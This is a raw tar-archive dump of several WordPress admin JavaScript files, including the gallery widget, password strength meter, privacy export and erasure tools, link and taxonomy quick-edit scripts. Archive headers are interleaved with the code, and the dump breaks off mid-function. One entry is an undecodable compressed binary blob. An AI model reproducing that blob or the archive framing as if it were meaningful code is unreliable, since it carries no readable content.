			if ( control.model.get( 'error' ) ) {
				return false;
			}

			return control.model.get( 'ids' ).length > 0;
		},

		/**
		 * Open the media select frame to edit images.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, selection, mediaFrame, mediaFrameProps;

			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
				multiple: true
			});

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			selection.gallery = new Backbone.Model( mediaFrameProps );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}
			mediaFrame = new GalleryDetailsMediaFrame({
				frame: 'manage',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				editing:   true,
				multiple:  true,
				state: 'gallery-edit'
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'update', function onUpdate( newSelection ) {
				var state = mediaFrame.state(), resultSelection;

				resultSelection = newSelection || state.get( 'selection' );
				if ( ! resultSelection ) {
					return;
				}

				// Copy orderby_random from gallery state.
				if ( resultSelection.gallery ) {
					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
				}

				// Directly update selectedAttachments to prevent needing to do additional request.
				control.selectedAttachments.reset( resultSelection.models );

				// Update models in the widget instance.
				control.model.set( {
					ids: _.pluck( resultSelection.models, 'id' )
				} );
			} );

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			if ( selection ) {
				selection.on( 'destroy', control.handleAttachmentDestroy );
			}
		},

		/**
		 * Open the media select frame to chose an item.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		selectMedia: function selectMedia() {
			var control = this, selection, mediaFrame, mediaFrameProps;
			selection = new wp.media.model.Selection( control.selectedAttachments.models, {
				multiple: true
			});

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}
			mediaFrame = new GalleryDetailsMediaFrame({
				frame: 'select',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				state: 'gallery'
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'update', function onUpdate( newSelection ) {
				var state = mediaFrame.state(), resultSelection;

				resultSelection = newSelection || state.get( 'selection' );
				if ( ! resultSelection ) {
					return;
				}

				// Copy orderby_random from gallery state.
				if ( resultSelection.gallery ) {
					control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
				}

				// Directly update selectedAttachments to prevent needing to do additional request.
				control.selectedAttachments.reset( resultSelection.models );

				// Update widget instance.
				control.model.set( {
					ids: _.pluck( resultSelection.models, 'id' )
				} );
			} );

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			if ( selection ) {
				selection.on( 'destroy', control.handleAttachmentDestroy );
			}

			/*
			 * Make sure focus is set inside of modal so that hitting Esc will close
			 * the modal and not inadvertently cause the widget to collapse in the customizer.
			 */
			mediaFrame.$el.find( ':focusable:first' ).focus();
		},

		/**
		 * Clear the selected attachment when it is deleted in the media select frame.
		 *
		 * @since 4.9.0
		 * @param {wp.media.models.Attachment} attachment - Attachment.
		 * @return {void}
		 */
		handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) {
			var control = this;
			control.model.set( {
				ids: _.difference(
					control.model.get( 'ids' ),
					[ attachment.id ]
				)
			} );
		}
	} );

	// Exports.
	component.controlConstructors.media_gallery = GalleryWidgetControl;
	component.modelConstructors.media_gallery = GalleryWidgetModel;

})( wp.mediaWidgets );
inline-edit-post.min.js.min.js.tar.gz000064400000006074150276633100013463 0ustar00��ZMs�F�y4�%��H�I\� �����&�q�T
kD����ce��}=�o���I��`d���~���8݈cŵ�J��e&r���D,����ṿ�T���T�Tb,"���4���W��L�͛��'����7�|5�fr�����O�'��s&�7��?6�a��\����G��X��J&�����x-�ȸ���_һ�n��>}z|�W�Zj�*��cﱼgA��	��zV��oy��PcF_���^�P�<_�kWErS^��@?l�eͯ��H�8�1�HV�m�Z��;7_،:�/���됽��c��+`7�زf��{�+��05���˄.2�t�d�Vd����?��,�Z����e"�7-��㋬�V�f�K�QZ�Qm��y���M_7��
W����)��p@���w�`؆�t�*��@3���'�Yy�]MJX5 5�u-b�wi��-����	�Y���X,oDH�ӹ�Uw"���磉7ӻW��O^�X���[�c�o��Yl��u�2�I>�[�"��tV�W�d�}�Vh���H�\ �ef��WZdn/r�jX�IK�w�f�b3X&�����u޲
�h�!���o�cT�u>���e�N?�X��78�H]9�t�-��:�Uё�2�I�C��(�Ɠl?�E��K������S�!
�����=����1���q2"����H������%��J��+����al}69��Wi�14����8 Ggm�����ֈYي�'_��u"f;;5=g
���NG"@��0��Xv�	�Emx&Jla�r��$�B�1���yx4��`̕�P���r�2Mr��ڊg��p%|��S���¢�AH�e�vRq�U=�؊����TgΒ�.d��"�����Ά��ģ�����qzg�84c}�a�16WlT�W&�YJ�J�
6_�n��|��C<4�����\;���̷v]6�#���!<N����)��
��*u�m�%,���S�Wnk�?L�9�WoON&����tt�&��e�|5
����|�t$��n�2��X7�̑�|�Y����T7�y�{vJ@�F�иB�3 Adc-�5;��hxzL�p����Sƞ��c��zh������yƈQy��:���0������"1�jݳ	���[7�1����s�=SN��7�#Xl'p���Y;M�P�:<��g�$�%d��$��`>3xNP�D\'%7�ׅ/eE�W@�]�V3x�������@�cGE��p�8yK�P�<��J�Eڒ�%Y_r{>�rr=�MrpM�ı�yMϝzȹ,�:���w��:E.lؼ3�cG���]�e�QZ��9\�/"��%��J7��O% �p2����Ђ���
���G$�_�5�w-B[L��ٔ��"�����`�񔤆�5��P𝒆��h�A�&��t;�<�le�“O����*�D�~�g~�~d��-e�I7jN��W�p2<Gܒ��TaTf8��/X��������S2�k���k��l�s��c��L��z�ҏ�oJ�(j0N�b��LR9���#��P��#�2D^��ne���滅U)��9+���DjmZ��_��~"PMFuļkDR��BF������=�EV���f�_�F�U�d�����\��eCeR��R��g�#���J�((�0��5کI�C��5�agq^6˙�_���*��VB��&)�L���&͚*�~%�N�W���$�̓ӊf��h�)�8�ҸH.��
0r�6җ�Rw�M;��D�k�0-w�sBCc���ԛ�δ:�Qca�뀭�G;���FV'��Mb���-���n;l8����t���刃k�ř5v@O�b�N6�zO�S��(j|fc�H�(�f�6�Y�b��H�z.8�&3Z �x[Y\]KżhA��TfB�po' E��4:vqOkA���i�
ү	�Ln�u�2����`�%Y����P��z���ڗ���K�|��\xkN�X��N#��5$N�������$V�n4
��;ɭeg�g"��yޚ��Ώ��#ϣbЭJv��]��
-���	USg�o�po�҇���ۧZ202�{�G�����m(D� ���Eө:��sM&ϟ��r��Ж��LUZ�GOy(/&��I���*x�̻�^�Y(��`B��������jSs/{��i��C�Mgn�8��\�~*��py+�mS��ދjn�`)급nDUF�HQ����ɧ6宾k
�YQVgv��vuԥa�F`� �
����&�1��l�>�Vլڛm�Z���f��`�|�q��R^@���-X��g��l�7��6����I�D�[P�T��
h�/�+\~��,�nˬc��H;Fh�ZSd-\�2:"p�(W���Ϲ�/O���GԬ6��O+�A�1�A�+�*5��&QD��М��t�eظ�J 8v�p`�R��x$>(��d���[�i�j�x������b��?�<���"(r;��4��������3$!�;�>��K۹н�d��0|�Q3����t��]L8��Ү�VzpO�բ)-�ȶ%`�%iC�~�d%C��J�G�Q��#s���~�.k��`}q�k3�>ܣ�B
X�v�m2����k��On��:�@6ځq���-әyq��x�o��B=��
Qd�����-犵{\x��a`��6���9�+��~�m��Y�:u}Q�6������T�o��l��Q��ȡt	=(�3}%���P��]���y=Q��܇0�{��$
�������:��..�ї�Nw�~�����w�"��	������N����zp%�
h�bJ;�� FԅD�W��v[�:A�*ә-�%��D�K^�{ۆ2�O<[��+B���9>c��!3f�8����S�2\������5}���1��ڬm�.Ы�����y�7���=��s�>��h�U�� �-�ҫ��~zTܺW-��V�UꘞP=��.�r���ȓ�����E���T��E?(jdSvF0D"��^��ك_�go���O_>_>_>_>��+�(password-strength-meter.js000064400000010214150276633100011713 0ustar00/**
 * @output wp-admin/js/password-strength-meter.js
 */

/* global zxcvbn */
window.wp = window.wp || {};

(function($){
	var __ = wp.i18n.__,
		sprintf = wp.i18n.sprintf;

	/**
	 * Contains functions to determine the password strength.
	 *
	 * @since 3.7.0
	 *
	 * @namespace
	 */
	wp.passwordStrength = {
		/**
		 * Determines the strength of a given password.
		 *
		 * Compares first password to the password confirmation.
		 *
		 * @since 3.7.0
		 *
		 * @param {string} password1       The subject password.
		 * @param {Array}  disallowedList An array of words that will lower the entropy of
		 *                                 the password.
		 * @param {string} password2       The password confirmation.
		 *
		 * @return {number} The password strength score.
		 */
		meter : function( password1, disallowedList, password2 ) {
			if ( ! Array.isArray( disallowedList ) )
				disallowedList = [ disallowedList.toString() ];

			if (password1 != password2 && password2 && password2.length > 0)
				return 5;

			if ( 'undefined' === typeof window.zxcvbn ) {
				// Password strength unknown.
				return -1;
			}

			var result = zxcvbn( password1, disallowedList );
			return result.score;
		},

		/**
		 * Builds an array of words that should be penalized.
		 *
		 * Certain words need to be penalized because it would lower the entropy of a
		 * password if they were used. The disallowedList is based on user input fields such
		 * as username, first name, email etc.
		 *
		 * @since 3.7.0
		 * @deprecated 5.5.0 Use {@see 'userInputDisallowedList()'} instead.
		 *
		 * @return {string[]} The array of words to be disallowed.
		 */
		userInputBlacklist : function() {
			window.console.log(
				sprintf(
					/* translators: 1: Deprecated function name, 2: Version number, 3: Alternative function name. */
					__( '%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code.' ),
					'wp.passwordStrength.userInputBlacklist()',
					'5.5.0',
					'wp.passwordStrength.userInputDisallowedList()'
				)
			);

			return wp.passwordStrength.userInputDisallowedList();
		},

		/**
		 * Builds an array of words that should be penalized.
		 *
		 * Certain words need to be penalized because it would lower the entropy of a
		 * password if they were used. The disallowed list is based on user input fields such
		 * as username, first name, email etc.
		 *
		 * @since 5.5.0
		 *
		 * @return {string[]} The array of words to be disallowed.
		 */
		userInputDisallowedList : function() {
			var i, userInputFieldsLength, rawValuesLength, currentField,
				rawValues       = [],
				disallowedList  = [],
				userInputFields = [ 'user_login', 'first_name', 'last_name', 'nickname', 'display_name', 'email', 'url', 'description', 'weblog_title', 'admin_email' ];

			// Collect all the strings we want to disallow.
			rawValues.push( document.title );
			rawValues.push( document.URL );

			userInputFieldsLength = userInputFields.length;
			for ( i = 0; i < userInputFieldsLength; i++ ) {
				currentField = $( '#' + userInputFields[ i ] );

				if ( 0 === currentField.length ) {
					continue;
				}

				rawValues.push( currentField[0].defaultValue );
				rawValues.push( currentField.val() );
			}

			/*
			 * Strip out non-alphanumeric characters and convert each word to an
			 * individual entry.
			 */
			rawValuesLength = rawValues.length;
			for ( i = 0; i < rawValuesLength; i++ ) {
				if ( rawValues[ i ] ) {
					disallowedList = disallowedList.concat( rawValues[ i ].replace( /\W/g, ' ' ).split( ' ' ) );
				}
			}

			/*
			 * Remove empty values, short words and duplicates. Short words are likely to
			 * cause many false positives.
			 */
			disallowedList = $.grep( disallowedList, function( value, key ) {
				if ( '' === value || 4 > value.length ) {
					return false;
				}

				return $.inArray( value, disallowedList ) === key;
			});

			return disallowedList;
		}
	};

	// Backward compatibility.

	/**
	 * Password strength meter function.
	 *
	 * @since 2.5.0
	 * @deprecated 3.7.0 Use wp.passwordStrength.meter instead.
	 *
	 * @global
	 *
	 * @type {wp.passwordStrength.meter}
	 */
	window.passwordStrength = wp.passwordStrength.meter;
})(jQuery);
privacy-tools.js.tar000064400000031000150276633100010477 0ustar00home/natitnen/crestassured.com/wp-admin/js/privacy-tools.js000064400000025236150264673640020126 0ustar00/**
 * Interactions used by the User Privacy tools in WordPress.
 *
 * @output wp-admin/js/privacy-tools.js
 */

// Privacy request action handling.
jQuery( function( $ ) {
	var __ = wp.i18n.__,
		copiedNoticeTimeout;

	function setActionState( $action, state ) {
		$action.children().addClass( 'hidden' );
		$action.children( '.' + state ).removeClass( 'hidden' );
	}

	function clearResultsAfterRow( $requestRow ) {
		$requestRow.removeClass( 'has-request-results' );

		if ( $requestRow.next().hasClass( 'request-results' ) ) {
			$requestRow.next().remove();
		}
	}

	function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) {
		var itemList = '',
			resultRowClasses = 'request-results';

		clearResultsAfterRow( $requestRow );

		if ( additionalMessages.length ) {
			$.each( additionalMessages, function( index, value ) {
				itemList = itemList + '<li>' + value + '</li>';
			});
			itemList = '<ul>' + itemList + '</ul>';
		}

		$requestRow.addClass( 'has-request-results' );

		if ( $requestRow.hasClass( 'status-request-confirmed' ) ) {
			resultRowClasses = resultRowClasses + ' status-request-confirmed';
		}

		if ( $requestRow.hasClass( 'status-request-failed' ) ) {
			resultRowClasses = resultRowClasses + ' status-request-failed';
		}

		$requestRow.after( function() {
			return '<tr class="' + resultRowClasses + '"><th colspan="5">' +
				'<div class="notice inline notice-alt ' + classes + '">' +
				'<p>' + summaryMessage + '</p>' +
				itemList +
				'</div>' +
				'</td>' +
				'</tr>';
		});
	}

	$( '.export-personal-data-handle' ).on( 'click', function( event ) {
		var $this          = $( this ),
			$action        = $this.parents( '.export-personal-data' ),
			$requestRow    = $this.parents( 'tr' ),
			$progress      = $requestRow.find( '.export-progress' ),
			$rowActions    = $this.parents( '.row-actions' ),
			requestID      = $action.data( 'request-id' ),
			nonce          = $action.data( 'nonce' ),
			exportersCount = $action.data( 'exporters-count' ),
			sendAsEmail    = $action.data( 'send-as-email' ) ? true : false;

		event.preventDefault();
		event.stopPropagation();

		$rowActions.addClass( 'processing' );

		$action.trigger( 'blur' );
		clearResultsAfterRow( $requestRow );
		setExportProgress( 0 );

		function onExportDoneSuccess( zipUrl ) {
			var summaryMessage = __( 'This user&#8217;s personal data export link was sent.' );

			if ( 'undefined' !== typeof zipUrl ) {
				summaryMessage = __( 'This user&#8217;s personal data export file was downloaded.' );
			}

			setActionState( $action, 'export-personal-data-success' );

			appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] );

			if ( 'undefined' !== typeof zipUrl ) {
				window.location = zipUrl;
			} else if ( ! sendAsEmail ) {
				onExportFailure( __( 'No personal data export file was generated.' ) );
			}

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function onExportFailure( errorMessage ) {
			var summaryMessage = __( 'An error occurred while attempting to export personal data.' );

			setActionState( $action, 'export-personal-data-failed' );

			if ( errorMessage ) {
				appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] );
			}

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function setExportProgress( exporterIndex ) {
			var progress       = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ),
				progressString = Math.round( progress * 100 ).toString() + '%';

			$progress.html( progressString );
		}

		function doNextExport( exporterIndex, pageIndex ) {
			$.ajax(
				{
					url: window.ajaxurl,
					data: {
						action: 'wp-privacy-export-personal-data',
						exporter: exporterIndex,
						id: requestID,
						page: pageIndex,
						security: nonce,
						sendAsEmail: sendAsEmail
					},
					method: 'post'
				}
			).done( function( response ) {
				var responseData = response.data;

				if ( ! response.success ) {
					// e.g. invalid request ID.
					setTimeout( function() { onExportFailure( response.data ); }, 500 );
					return;
				}

				if ( ! responseData.done ) {
					setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) );
				} else {
					setExportProgress( exporterIndex );
					if ( exporterIndex < exportersCount ) {
						setTimeout( doNextExport( exporterIndex + 1, 1 ) );
					} else {
						setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 );
					}
				}
			}).fail( function( jqxhr, textStatus, error ) {
				// e.g. Nonce failure.
				setTimeout( function() { onExportFailure( error ); }, 500 );
			});
		}

		// And now, let's begin.
		setActionState( $action, 'export-personal-data-processing' );
		doNextExport( 1, 1 );
	});

	$( '.remove-personal-data-handle' ).on( 'click', function( event ) {
		var $this         = $( this ),
			$action       = $this.parents( '.remove-personal-data' ),
			$requestRow   = $this.parents( 'tr' ),
			$progress     = $requestRow.find( '.erasure-progress' ),
			$rowActions   = $this.parents( '.row-actions' ),
			requestID     = $action.data( 'request-id' ),
			nonce         = $action.data( 'nonce' ),
			erasersCount  = $action.data( 'erasers-count' ),
			hasRemoved    = false,
			hasRetained   = false,
			messages      = [];

		event.preventDefault();
		event.stopPropagation();

		$rowActions.addClass( 'processing' );

		$action.trigger( 'blur' );
		clearResultsAfterRow( $requestRow );
		setErasureProgress( 0 );

		function onErasureDoneSuccess() {
			var summaryMessage = __( 'No personal data was found for this user.' ),
				classes = 'notice-success';

			setActionState( $action, 'remove-personal-data-success' );

			if ( false === hasRemoved ) {
				if ( false === hasRetained ) {
					summaryMessage = __( 'No personal data was found for this user.' );
				} else {
					summaryMessage = __( 'Personal data was found for this user but was not erased.' );
					classes = 'notice-warning';
				}
			} else {
				if ( false === hasRetained ) {
					summaryMessage = __( 'All of the personal data found for this user was erased.' );
				} else {
					summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' );
					classes = 'notice-warning';
				}
			}
			appendResultsAfterRow( $requestRow, classes, summaryMessage, messages );

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function onErasureFailure() {
			var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' );

			setActionState( $action, 'remove-personal-data-failed' );

			appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] );

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function setErasureProgress( eraserIndex ) {
			var progress       = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ),
				progressString = Math.round( progress * 100 ).toString() + '%';

			$progress.html( progressString );
		}

		function doNextErasure( eraserIndex, pageIndex ) {
			$.ajax({
				url: window.ajaxurl,
				data: {
					action: 'wp-privacy-erase-personal-data',
					eraser: eraserIndex,
					id: requestID,
					page: pageIndex,
					security: nonce
				},
				method: 'post'
			}).done( function( response ) {
				var responseData = response.data;

				if ( ! response.success ) {
					setTimeout( function() { onErasureFailure(); }, 500 );
					return;
				}
				if ( responseData.items_removed ) {
					hasRemoved = hasRemoved || responseData.items_removed;
				}
				if ( responseData.items_retained ) {
					hasRetained = hasRetained || responseData.items_retained;
				}
				if ( responseData.messages ) {
					messages = messages.concat( responseData.messages );
				}
				if ( ! responseData.done ) {
					setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) );
				} else {
					setErasureProgress( eraserIndex );
					if ( eraserIndex < erasersCount ) {
						setTimeout( doNextErasure( eraserIndex + 1, 1 ) );
					} else {
						setTimeout( function() { onErasureDoneSuccess(); }, 500 );
					}
				}
			}).fail( function() {
				setTimeout( function() { onErasureFailure(); }, 500 );
			});
		}

		// And now, let's begin.
		setActionState( $action, 'remove-personal-data-processing' );

		doNextErasure( 1, 1 );
	});

	// Privacy Policy page, copy action.
	$( document ).on( 'click', function( event ) {
		var $parent,
			range,
			$target = $( event.target ),
			copiedNotice = $target.siblings( '.success' );

		clearTimeout( copiedNoticeTimeout );

		if ( $target.is( 'button.privacy-text-copy' ) ) {
			$parent = $target.closest( '.privacy-settings-accordion-panel' );

			if ( $parent.length ) {
				try {
					var documentPosition = document.documentElement.scrollTop,
						bodyPosition     = document.body.scrollTop;

					// Setup copy.
					window.getSelection().removeAllRanges();

					// Hide tutorial content to remove from copied content.
					range = document.createRange();
					$parent.addClass( 'hide-privacy-policy-tutorial' );

					// Copy action.
					range.selectNodeContents( $parent[0] );
					window.getSelection().addRange( range );
					document.execCommand( 'copy' );

					// Reset section.
					$parent.removeClass( 'hide-privacy-policy-tutorial' );
					window.getSelection().removeAllRanges();

					// Return scroll position - see #49540.
					if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) {
						document.documentElement.scrollTop = documentPosition;
					} else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) {
						document.body.scrollTop = bodyPosition;
					}

					// Display and speak notice to indicate action complete.
					copiedNotice.addClass( 'visible' );
					wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) );

					// Delay notice dismissal.
					copiedNoticeTimeout = setTimeout( function() {
						copiedNotice.removeClass( 'visible' );
					}, 3000 );
				} catch ( er ) {}
			}
		}
	});

	// Label handling to focus the create page button on Privacy settings page.
	$( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) {
		e.preventDefault();
		$( 'input#create-page' ).trigger( 'focus' );
	} );

	// Accordion handling in various new Privacy settings pages.
	$( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() {
		var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );

		if ( isExpanded ) {
			$( this ).attr( 'aria-expanded', 'false' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
		} else {
			$( this ).attr( 'aria-expanded', 'true' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
		}
	} );
});
language-chooser.js000064400000001572150276633100010335 0ustar00/**
 * @output wp-admin/js/language-chooser.js
 */

jQuery( function($) {
/*
 * Set the correct translation to the continue button and show a spinner
 * when downloading a language.
 */
var select = $( '#language' ),
	submit = $( '#language-continue' );

if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) {
	return;
}

select.trigger( 'focus' ).on( 'change', function() {
	/*
	 * When a language is selected, set matching translation to continue button
	 * and attach the language attribute.
	 */
	var option = select.children( 'option:selected' );
	submit.attr({
		value: option.data( 'continue' ),
		lang: option.attr( 'lang' )
	});
});

$( 'form' ).on( 'submit', function() {
	// Show spinner for languages that need to be downloaded.
	if ( ! select.children( 'option:selected' ).data( 'installed' ) ) {
		$( this ).find( '.step .spinner' ).css( 'visibility', 'visible' );
	}
});

});
link.js.tar000064400000013000150276633100006621 0ustar00home/natitnen/crestassured.com/wp-admin/js/link.js000064400000007623150265135570016244 0ustar00/**
 * @output wp-admin/js/link.js
 */

/* global postboxes, deleteUserSetting, setUserSetting, getUserSetting */

jQuery( function($) {

	var newCat, noSyncChecks = false, syncChecks, catAddAfter;

	$('#link_name').trigger( 'focus' );
	// Postboxes.
	postboxes.add_postbox_toggles('link');

	/**
	 * Adds event that opens a particular category tab.
	 *
	 * @ignore
	 *
	 * @return {boolean} Always returns false to prevent the default behavior.
	 */
	$('#category-tabs a').on( 'click', function(){
		var t = $(this).attr('href');
		$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
		$('.tabs-panel').hide();
		$(t).show();
		if ( '#categories-all' == t )
			deleteUserSetting('cats');
		else
			setUserSetting('cats','pop');
		return false;
	});
	if ( getUserSetting('cats') )
		$('#category-tabs a[href="#categories-pop"]').trigger( 'click' );

	// Ajax Cat.
	newCat = $('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ); } );

	/**
	 * After adding a new category, focus on the category add input field.
	 *
	 * @return {void}
	 */
	$('#link-category-add-submit').on( 'click', function() { newCat.focus(); } );

	/**
	 * Synchronize category checkboxes.
	 *
	 * This function makes sure that the checkboxes are synced between the all
	 * categories tab and the most used categories tab.
	 *
	 * @since 2.5.0
	 *
	 * @return {void}
	 */
	syncChecks = function() {
		if ( noSyncChecks )
			return;
		noSyncChecks = true;
		var th = $(this), c = th.is(':checked'), id = th.val().toString();
		$('#in-link-category-' + id + ', #in-popular-link_category-' + id).prop( 'checked', c );
		noSyncChecks = false;
	};

	/**
	 * Adds event listeners to an added category.
	 *
	 * This is run on the addAfter event to make sure the correct event listeners
	 * are bound to the DOM elements.
	 *
	 * @since 2.5.0
	 *
	 * @param {string} r Raw XML response returned from the server after adding a
	 *                   category.
	 * @param {Object} s List manager configuration object; settings for the Ajax
	 *                   request.
	 *
	 * @return {void}
	 */
	catAddAfter = function( r, s ) {
		$(s.what + ' response_data', r).each( function() {
			var t = $($(this).text());
			t.find( 'label' ).each( function() {
				var th = $(this),
					val = th.find('input').val(),
					id = th.find('input')[0].id,
					name = th.text().trim(),
					o;
				$('#' + id).on( 'change', syncChecks );
				o = $( '<option value="' +  parseInt( val, 10 ) + '"></option>' ).text( name );
			} );
		} );
	};

	/*
	 * Instantiates the list manager.
	 *
	 * @see js/_enqueues/lib/lists.js
	 */
	$('#categorychecklist').wpList( {
		// CSS class name for alternate styling.
		alt: '',

		// The type of list.
		what: 'link-category',

		// ID of the element the parsed Ajax response will be stored in.
		response: 'category-ajax-response',

		// Callback that's run after an item got added to the list.
		addAfter: catAddAfter
	} );

	// All categories is the default tab, so we delete the user setting.
	$('a[href="#categories-all"]').on( 'click', function(){deleteUserSetting('cats');});

	// Set a preference for the popular categories to cookies.
	$('a[href="#categories-pop"]').on( 'click', function(){setUserSetting('cats','pop');});

	if ( 'pop' == getUserSetting('cats') )
		$('a[href="#categories-pop"]').trigger( 'click' );

	/**
	 * Adds event handler that shows the interface controls to add a new category.
	 *
	 * @ignore
	 *
	 * @param {Event} event The event object.
	 * @return {boolean} Always returns false to prevent regular link
	 *                   functionality.
	 */
	$('#category-add-toggle').on( 'click', function() {
		$(this).parents('div:first').toggleClass( 'wp-hidden-children' );
		$('#category-tabs a[href="#categories-all"]').trigger( 'click' );
		$('#newcategory').trigger( 'focus' );
		return false;
	} );

	$('.categorychecklist :checkbox').on( 'change', syncChecks ).filter( ':checked' ).trigger( 'change' );
});
set-post-thumbnail.js000064400000001554150276633100010651 0ustar00/**
 * @output wp-admin/js/set-post-thumbnail.js
 */

/* global ajaxurl, post_id, alert */
/* exported WPSetAsThumbnail */

window.WPSetAsThumbnail = function( id, nonce ) {
	var $link = jQuery('a#wp-post-thumbnail-' + id);

	$link.text( wp.i18n.__( 'Saving…' ) );
	jQuery.post(ajaxurl, {
		action: 'set-post-thumbnail', post_id: post_id, thumbnail_id: id, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie )
	}, function(str){
		var win = window.dialogArguments || opener || parent || top;
		$link.text( wp.i18n.__( 'Use as featured image' ) );
		if ( str == '0' ) {
			alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
		} else {
			jQuery('a.wp-post-thumbnail').show();
			$link.text( wp.i18n.__( 'Done' ) );
			$link.fadeOut( 2000 );
			win.WPSetThumbnailID(id);
			win.WPSetThumbnailHTML(str);
		}
	}
	);
};
inline-edit-tax.js000064400000017165150276633100010112 0ustar00/**
 * This file is used on the term overview page to power quick-editing terms.
 *
 * @output wp-admin/js/inline-edit-tax.js
 */

/* global ajaxurl, inlineEditTax */

window.wp = window.wp || {};

/**
 * Consists of functions relevant to the inline taxonomy editor.
 *
 * @namespace inlineEditTax
 *
 * @property {string} type The type of inline edit we are currently on.
 * @property {string} what The type property with a hash prefixed and a dash
 *                         suffixed.
 */
( function( $, wp ) {

window.inlineEditTax = {

	/**
	 * Initializes the inline taxonomy editor by adding event handlers to be able to
	 * quick edit.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 * @return {void}
	 */
	init : function() {
		var t = this, row = $('#inline-edit');

		t.type = $('#the-list').attr('data-wp-lists').substr(5);
		t.what = '#'+t.type+'-';

		$( '#the-list' ).on( 'click', '.editinline', function() {
			$( this ).attr( 'aria-expanded', 'true' );
			inlineEditTax.edit( this );
		});

		/**
		 * Cancels inline editing when pressing Escape inside the inline editor.
		 *
		 * @param {Object} e The keyup event that has been triggered.
		 */
		row.on( 'keyup', function( e ) {
			// 27 = [Escape].
			if ( e.which === 27 ) {
				return inlineEditTax.revert();
			}
		});

		/**
		 * Cancels inline editing when clicking the cancel button.
		 */
		$( '.cancel', row ).on( 'click', function() {
			return inlineEditTax.revert();
		});

		/**
		 * Saves the inline edits when clicking the save button.
		 */
		$( '.save', row ).on( 'click', function() {
			return inlineEditTax.save(this);
		});

		/**
		 * Saves the inline edits when pressing Enter inside the inline editor.
		 */
		$( 'input, select', row ).on( 'keydown', function( e ) {
			// 13 = [Enter].
			if ( e.which === 13 ) {
				return inlineEditTax.save( this );
			}
		});

		/**
		 * Saves the inline edits on submitting the inline edit form.
		 */
		$( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() {
			t.revert();
		});
	},

	/**
	 * Toggles the quick edit based on if it is currently shown or hidden.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {HTMLElement} el An element within the table row or the table row
	 *                         itself that we want to quick edit.
	 * @return {void}
	 */
	toggle : function(el) {
		var t = this;

		$(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
	},

	/**
	 * Shows the quick editor
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
	 *                                element within the table row or the
	 * table row itself.
	 * @return {boolean} Always returns false.
	 */
	edit : function(id) {
		var editRow, rowData, val,
			t = this;
		t.revert();

		// Makes sure we can pass an HTMLElement as the ID.
		if ( typeof(id) === 'object' ) {
			id = t.getId(id);
		}

		editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
		$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length );

		$(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>');

		val = $('.name', rowData);
		val.find( 'img' ).replaceWith( function() { return this.alt; } );
		val = val.text();
		$(':input[name="name"]', editRow).val( val );

		val = $('.slug', rowData);
		val.find( 'img' ).replaceWith( function() { return this.alt; } );
		val = val.text();
